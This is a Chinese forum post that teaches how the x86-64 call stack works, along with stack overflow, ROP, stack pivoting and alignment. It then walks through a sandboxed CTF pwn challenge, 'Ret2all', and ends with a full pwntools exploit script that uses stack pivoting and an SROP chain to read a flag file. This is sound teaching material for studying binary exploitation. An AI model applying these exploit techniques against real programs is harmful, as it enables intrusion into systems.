找回密码
 立即注册
首页 业界区 业界 函数调用栈与Ret2all

函数调用栈与Ret2all

丘奕奕 2026-2-16 21:40:02
函数调用栈

基础知识

寄存器: rip与eip:指令寄存器,cpu会把该寄存器地址内的数据当成指令执行(rip是64位系统的,eip是32位的)
rsp与esp:栈顶指针寄存器,表明了栈顶的位置
rbp与ebp:栈底指针寄存器,表明了栈底的位置
elf文件在外存和内存中的情况如图

最左边的RW与RX就是对应段的权限,R即read,读;W即write,写;x即execute,执行;可以看见外存中的文件最终执行时都会映射到内存中,内存中可以看见栈是由高地址往低地址增长的,堆是由低地址往高地址增长的。下面我们看当我们调用函数时发生了什么。比如如下程序,以64位为例

首先看进入函数第一条指令,不是int,而是{,这个会被编译器解释成push rbp,mov rsp rbp,也就是先把rbp入栈,再把rsp抬上来,然后再sub rsp (一个立即数)  把rsp抬上去,效果如图

然后是int,int就是声明变量,也就是把变量声明在rbp-多少,接下来继续执行就到了调用这个wow函数的时候了,调用函数时通过call指令,也就是先把当前指令的下一条指令的地址入栈(这个也就是我们常说的返回地址,我用back代替),接下来又进入wow函数的指令,这个函数第一条指令又是{,又把rbp入栈,因为rbp还是原来main函数的rbp,所以rbp1就是指向rbp的,rsp抬到rbp,如图所示

接下来又是sub rsp (一个立即数),把rsp往上抬,然后是int c;声明一个变量c,效果如图

其实栈溢出的原理就是通过往c写值,覆盖栈上的这个返回地址,我们接下来看我们没改返回地址的时候函数返回是怎么返回的,首先有一个leave指令,这个指令就是mov rsp rbp

然后pop rbp把rsp位置的值弹出栈,赋给rbp,这时rbp已经回到main函数那里了

此时并不会直接把上面c变量的数值销毁,而是在将来声明变量时可以再往这声明,leave之后接下来是ret,ret就是pop rip,把wow返回地址赋给指令寄存器,接下来就再跳转过去执行指令。
这里就可以看出栈溢出的原理了,因为我们往栈上写值是由低地址往高地址写(图中由上往下),所以只要我们有能写出c这个变量大小的条件,就可以把rbp及返回地址覆盖,接下来就会返回我们写成的返回地址,接下来就会去我们想让他返回的地方执行指令。
rop链原理

其实rop链就是开了栈不可执行(NX保护)时,因为不能直接写汇编指令所以通过一些代码片段(gadget)去控制各寄存器,并通过ret链接起来的指令,比如有一个地址中的地址是pop rdi;ret,那我们返回地址写成这个指令的地址后,他就会执行这个指令pop rdi,然后就是ret,因为rsp没变,所以他还是在栈上取值,所以接下来就由可以填我们想让他返回到的地址了。
栈迁移原理

栈迁移简单来说就是控制rsp,主要通过控制rbp然后进行两次leave去控制,第一次leave控制rbp,第二次leave通过控制的rbp进而控制寄存器,下面以迁移到bss段为例,第一次leave;ret:先mov rsp rbp

接下来是ret,继续执行返回地址内的指令,至此第一次leave;ret结束。因为返回地址还是leave;ret,所以有第二次leave;ret:
先mov rsp rbp

接下来是pop rbp然后就是ret,在bss里取值继续执行了。从图中也可以看到,rsp与rbp都被我们控制了,函数的栈已经变化了,所以叫栈迁移。具体的攻击可以看看我之前的文章。ret2csu与栈迁移的运用
栈返回

看到这不知道各位有没有想过,既然我们自己定义的函数(这里的例子就是wow)有返回地址,那c语言库里的read,printf,write....等函数有没有返回地址呢,好像没听过?首先,他们也是有返回地址的,因为调用他们也需要call这个指令,这个指令就会把下条指令的地址入栈,只是因为调用他们的时候栈已经类似这个样子了

所以哪怕这时候rsp的地方写了一条返回地址,我们在栈上的局部变量c里写值也是覆盖不到这个地址的,所以一般用不到这个手法。当然既然是一般就有例外,比如格式化字符串可以改printf函数的返回地址,read如果能控制写入的地址也可以改到(也得溢出一次才有可能)
栈对齐的原因及解决办法

栈对齐就是为什么有时候我们返回system的时候要加个ret,实际上就是栈没对齐通过加ret对齐。栈对齐就是rsp指针要16字节对齐,因为系统调用的时候要求要对齐,也就是rsp最后一个16进制位要是0。关于这个原因就是个人观点了,我个人理解的应该比较浅,我认为就是系统本身肯定会让rsp对齐以免我们自己调用system函数的时候崩溃,但我们往返回地址后面可能写很多指令的地址,所以就导致了不对齐。解决办法: 因为64位下栈的内存单元是以8为单位的,也就是我们rsp的地址的最后一个16进制只有8和0两种可能,并且正常是rsp的末位8,这样在接下来的system函数里,因为他会push rbp,这样rsp就16字节对齐了,所以我们不对齐就说明rsp的末位是0,这样system函数push rbp之后rsp就是8字节对齐(末位是8了),这里我们要么选择加一条指令的地址(加ret)要么就把返回地址往后写,跳过push rbp这个指令。不过也有例外,如果我们栈迁移迁到了末尾不是0也不是8的地址,加再多ret也没用,这时候就要修改迁移的位置了。
Ret2all

好了你已经学会函数调用栈了,快来写一道栈溢出吧。

这题保护除了canary都开了,第一个init给了我们rbp与ret(这两个在bss段上),ret可以泄露pie基地址,所以pie保护就跟没开一样了,后面用mprotect把bss段设成只读了,并且把标准错误给关了,后面开了沙盒。

把execve,read,write分支都禁了并且下面write的文件描述符只能是2,read的文件描述符只能是0。后面有个栈溢出,溢出0x28字节


这个是影子,首先检测前0x60是不是"I love you I feel lonely"字符串,后面检测rbp与ret是不是之前发给我们的,相当于只能溢出0x18了,并且还只能溢出到返回地址+8的位置。不过这里因为他调用了三次函数,所以会leave三次,就有栈迁移的机会,并且在read到0x88的地方正好是rbp最后一次指向的地方,也就是两次leave就到了我们可以控制的地方,我们把写成我们返回地址+8的地址就可以实现一次read了

但这里要注意,read之后不会直接返回,而是会进影子,所以这里我们read写入的地方有讲究,要能覆盖过我们call read的返回地址,实现栈返回,即往rsp的上方写。

这里只要覆盖掉rsp就可以逃出影子了,因为目前泄露不出libc,所以只能用栈上现有的libc地址,我们可以找一下附近的,因为我们最多覆盖一字节,因为远程libc基址大部分是000结尾的,我们覆盖一字节是可以确保每次都能利用,如果覆盖两字节就需要爆破凭运气了。

这里有一个syscall,但这个syscall不是特别好,因为如果我们用这个syscall调用函数后面有一个jmp,他不是ret,就比较难预测了。所以我们第一次syscall调用srop来控制rbx,之后配合magicgadget改成应该好用的gadget。改好之后就可以调用dup2(1,2)把标准输出的内容复制到标准错误,接下来就可以write泄露libc,有libc之后就先close(0),让open打开的文件描述符是0,这样read就可以往栈内写flag了,最后再write打印出来flag就结束了。而这就需要我们在syscall下面先布置好srop的SigreturnFrame结构,这里因为长度有限不能用pwntools的函数。只能手搓了。并且要注意一下往下写需要rsp在下面,因为我们read还有影子跟着,所以rsp在下面才能实现栈返回,所以第一次往下写是逃不了影子的,简单来说就是先往下,然后leave上来,再leave下去就好了(这里上下是相对syscall来说的,这是这题最关键的部分)。大概效果是这样

因为一开始的rbp是定死的,所以我们要注意在第一次的rbp上放好下面的地址就可以了,只要能调出一次srop就好办很多了,srop结构如下

这里就是从左往右读,第一个是syscall,第二个是uc_flags第三个是&uc之后依次读下去,大概离syscall0x70的位置是rdi,之后调用完一次srop要往syscall下面一个位置写一个leave,并且这个leave末尾要小于4,因为这样syscall ret之后就是leave,我们只要控制rbp就可以继续控制程序流。之后多布局一下就差不多写完了这题,多调试就好。这里因为我的本地环境跟远程不一样,所以应该是打不了远程的,不过可以参考一下,应该布局上是大差不差了,估计是有些细节不一样。exp如下
  1. from pwn import *import syscontext.log_level='debug'context.arch='amd64'flag = 0elf=ELF('./pwn')libc = ELF('./libc.so.6')if flag:    p = remote('challenge.imxbt.cn',30705)else:    p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def csu():        pay=p64(0)+p64(0)+p64(1)        return paydef dbg():    gdb.attach(p)    pause()ru(b'RBP:')rbp=int(p.recvline(),16)print(hex(rbp))ru(b'RET:')ret=int(p.recvline(),16)pie=ret-0x1871re=pie+0x3FB8prbp=pie+0x1253main=pie+0x1874magic=pie+0x1252target=pie+0x4050leave=pie+0x1852ret1=pie+0x18ACread=pie+0x182Fread1=pie+0x1840print(hex(pie))pay=b'I love you I feel lonely'*4+flat(rbp,ret)+flat(rbp+0x18,read)+p64(rbp-0x10)dbg()sd(pay)pause()pay=flat({0x30:p64(rbp+0xc0+0x30),#rbo:0x480x38:p64(read),0x40:p64(leave),0x48:p64(rbp+0xe0-0x10+0x30),0x50:p64(leave),0x58:p64(rbp+0xd0+0x30),0x60:p64(rbp-0x18),0x68:p64(leave),},filler=p64(ret1))#flat(prbp,rbp+0x72+8,read)sd(pay+b'\xec')pause()pay=b'I love you I feel lonely'*4+flat(rbp,ret)+flat(rbp+0x90+0x60,read)+p64(leave)sd(pay)pay=flat({0x0:p64(0),#fake0x8:p64(0),#rdi0x10:p64(rbp+0x30),#rsi0x18:p64(rbp+0x28+0x3d),#rbp0x20:p64(0x6ede9),#rbx0x28:p64(0x200),#rdx0x30:p64(0),#rax0x38:p64(0),#rcx0x40:p64(rbp+0x40),#rsp0x48:p64(read1),0x50:p64(0),#eflag0x58:p64(0x33),#cs0x60:p64(rbp+0x90+1+0x60+0x60),0x68:p64(read),0x70:p64(rbp+0x20),0x78:p64(leave),0x80:0,})pause()sd(pay)pay=b'b'*7+p64(prbp)pause()sd(pay)pay=p64(leave)+flat(ret1)*2+p64(magic)+flat(prbp,rbp+0x59+0x60,read,rbp+0x20,leave,rbp+0x70+0x60,read,read)pay=pay.ljust(0x60,b'\x00')+flat({0x0:p64(0),#fake0x8:p64(1),#rdi0x10:p64(2),#rsi0x18:p64(rbp+0x100),#rbp0x20:p64(0x6ede9),#rbx0x28:p64(0x200),#rdx0x30:p64(33),#rax0x38:p64(0),#rcx0x40:p64(rbp+0x28),#rsp0x48:p64(ret1),0x50:p64(0),#eflag0x58:p64(0x33),#cs0x60:p64(0),0x68:p64(0),0x70:p64(rbp+0x60+0x90),0x78:p64(read),0x80:0,})sd(pay)pay=b'b'*7+p64(prbp)sd(pay)pay=flat({0x0:p64(0),#fake0x8:p64(2),#rdi0x10:p64(re),#rsi0x18:p64(rbp+0x100-0x88),#rbp0x20:p64(0),#rbx0x28:p64(0x20),#rdx0x30:p64(1),#rax0x38:p64(0),#rcx0x40:p64(rbp+0x28),#rsp0x48:p64(ret1),#rip0x50:p64(0),#eflag0x58:p64(0x33),#cs0x60:p64(rbp+0x90+1+0x60+0x60),0x68:p64(read),0x70:p64(rbp+0x20),0x78:p64(leave),0x80:0,})sd(pay)pay=b'b'*7+p64(prbp)sd(pay)ru(b"Keep it and...I love you\n")libcbase=u64(rc(6).ljust(8,b'\x00'))-libc.sym['read']re=libcbase+libc.sym['read']rax=libcbase+0xdd237rdi=libcbase+0x10f75brsi=libcbase+0x110a4dend=libcbase+0x98fd5rbx=libcbase+0x586e4mdx3=libcbase+0xb0133print(hex(libcbase))pay=b'./flag\x00\x00'*2+flat(rdi,0,rsi,rbp+0xd8,rbx,0x1000,mdx3,0,0,0,re)pause()sd(pay)srop=SigreturnFrame()srop.rax=3srop.rdi=0srop.rsi=0srop.rsp=rbp+0x1e8srop.rip=endsrop1=SigreturnFrame()srop1.rax=2srop1.rdi=rbp+0x70srop1.rsi=0srop1.rsp=rbp+0x1e8+0x110srop1.rip=endsrop2=SigreturnFrame()srop2.rax=0srop2.rdi=0srop2.rsi=rbpsrop2.rdx=0x50srop2.rsp=rbp+0x1e8+0x110+0x110srop2.rip=endsrop3=SigreturnFrame()srop3.rax=1srop3.rdi=2srop3.rsi=rbpsrop3.rdx=0x50srop3.rip=endpay=flat(rax,0xf,end)+bytes(srop)+flat(rax,0xf,end)+bytes(srop1)+flat(rax,0xf,end)+bytes(srop2)+flat(rax,0xf,end)+bytes(srop3)sd(pay)ti()
复制代码
这里我用了11次send,跟标答不一样的就是他是泄露libc顺便控制了rdx,之后直接用srop链了,我是没顺便控制rdx,再凑了一下gadget,所以多了一次send。效果如下

ret2all参考文章ret2all

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册